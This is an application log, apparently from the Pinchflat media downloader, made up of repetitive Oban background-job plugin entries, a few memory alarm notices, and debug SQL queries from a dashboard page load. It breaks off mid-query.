{"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:22.800 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:52.802 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.993 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:22.804 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:52.812 [info] {"source":"oban","duration":4835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.994 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:22.830 [info] {"source":"oban","duration":15758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:52.832 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.995 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:22.837 [info] {"source":"oban","duration":3893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:52.839 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.996 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:22.841 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:52.843 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.997 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:22.845 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:52.847 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.998 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:22.849 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:52.851 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:01.000 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:22.853 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:52.857 [info] {"source":"oban","duration":2891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.001 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:22.859 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:52.861 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.003 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:22.863 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:52.865 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.004 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:22.867 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:52.870 [info] {"source":"oban","duration":2270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.005 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:22.872 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:52.874 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.006 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:22.876 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:52.878 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.007 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:22.880 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:52.882 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.008 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:22.884 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:52.886 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.009 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:22.889 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:52.891 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.010 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:22.897 [info] {"source":"oban","duration":5205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:52.901 [info] {"source":"oban","duration":2679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.011 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:19.466 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:22:22.903 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:52.905 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.012 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:22.907 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:52.908 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.018 [info] {"source":"oban","duration":4718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:22.912 [info] {"source":"oban","duration":2641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:52.914 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.020 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:22.916 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:52.918 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.022 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:22.925 [info] {"source":"oban","duration":6178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:52.927 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.023 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:22.929 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:52.930 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.025 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:22.932 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:52.934 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.029 [info] {"source":"oban","duration":2742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:22.936 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:52.938 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.035 [info] {"source":"oban","duration":5154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:22.940 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:52.942 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.039 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:22.944 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:52.946 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.042 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:22.949 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:52.957 [info] {"source":"oban","duration":6642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.044 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:22.960 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:52.962 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.045 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:22.964 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:52.966 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.050 [info] {"source":"oban","duration":4087,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:22.970 [info] {"source":"oban","duration":2816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:52.972 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.051 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:19.518 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 21:36:22.974 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:52.997 [info] {"source":"oban","duration":21570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.052 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:22.999 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:53.003 [info] {"source":"oban","duration":3235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.057 [info] {"source":"oban","duration":3973,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:23.005 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:53.007 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.065 [info] {"source":"oban","duration":6700,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:23.009 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:53.016 [info] {"source":"oban","duration":6046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.070 [info] {"source":"oban","duration":3966,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:23.019 [info] {"source":"oban","duration":2222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:53.021 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.071 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:23.024 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:53.027 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.073 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:23.029 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:53.035 [info] {"source":"oban","duration":4363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.088 [info] {"source":"oban","duration":12402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:23.039 [info] {"source":"oban","duration":2837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:53.043 [info] {"source":"oban","duration":3569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.094 [info] {"source":"oban","duration":4404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:23.046 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:53.048 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.099 [info] {"source":"oban","duration":4325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:23.050 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:53.053 [info] {"source":"oban","duration":1903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.100 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:23.055 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:53.057 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.104 [info] {"source":"oban","duration":3520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:23.059 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:53.062 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.110 [info] {"source":"oban","duration":4372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:23.064 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:53.067 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.111 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:23.069 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:53.072 [info] {"source":"oban","duration":2017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.112 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:23.077 [info] {"source":"oban","duration":3731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:53.079 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.119 [info] {"source":"oban","duration":5517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:23.082 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:53.084 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.120 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:23.086 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:53.088 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.124 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:23.090 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:53.092 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.129 [info] {"source":"oban","duration":3350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:23.094 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:53.098 [info] {"source":"oban","duration":2968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.131 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:23.100 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:53.102 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.136 [info] {"source":"oban","duration":3777,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:19.603 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 21:56:23.104 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:53.106 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.144 [info] {"source":"oban","duration":5117,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:23.114 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:53.117 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.145 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:23.119 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:53.121 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.150 [info] {"source":"oban","duration":3846,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:23.125 [info] {"source":"oban","duration":2539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:53.127 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.155 [info] {"source":"oban","duration":3934,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:23.129 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:53.131 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.160 [info] {"source":"oban","duration":3855,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:23.135 [info] {"source":"oban","duration":2993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:53.143 [info] {"source":"oban","duration":3674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.165 [info] {"source":"oban","duration":3426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:23.145 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:53.148 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.171 [info] {"source":"oban","duration":5031,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:23.150 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:53.153 [info] {"source":"oban","duration":1976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.179 [info] {"source":"oban","duration":7031,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:23.155 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:53.157 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.184 [info] {"source":"oban","duration":3577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:23.159 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:53.161 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.192 [info] {"source":"oban","duration":6832,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:23.163 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:53.165 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.195 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:23.167 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:43.312 [info] GET / 22:07:43.312 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:07:43.315 [debug] QUERY OK source="settings" db=0.9ms idle=793.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.329 [debug] QUERY OK source="media_profiles" db=13.0ms idle=794.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:07:43.333 [debug] QUERY OK source="sources" db=3.5ms queue=0.2ms idle=808.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:07:43.634 [debug] QUERY OK source="media_items" db=300.1ms queue=0.2ms idle=812.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:07:43.635 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=924.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:07:43.637 [debug] QUERY OK source="settings" db=0.3ms idle=321.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.638 [debug] QUERY OK source="settings" db=0.1ms idle=308.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.639 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=305.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.643 [debug] QUERY OK source="tasks" db=0.3ms idle=8.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:07:43.649 [debug] QUERY OK source="media_items" db=0.6ms idle=13.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:07:43.652 [debug] QUERY OK source="media_items" db=2.4ms idle=12.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:07:43.654 [debug] QUERY OK source="sources" db=1.4ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:07:43.664 [debug] QUERY OK source="media_items" db=0.9ms idle=23.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= 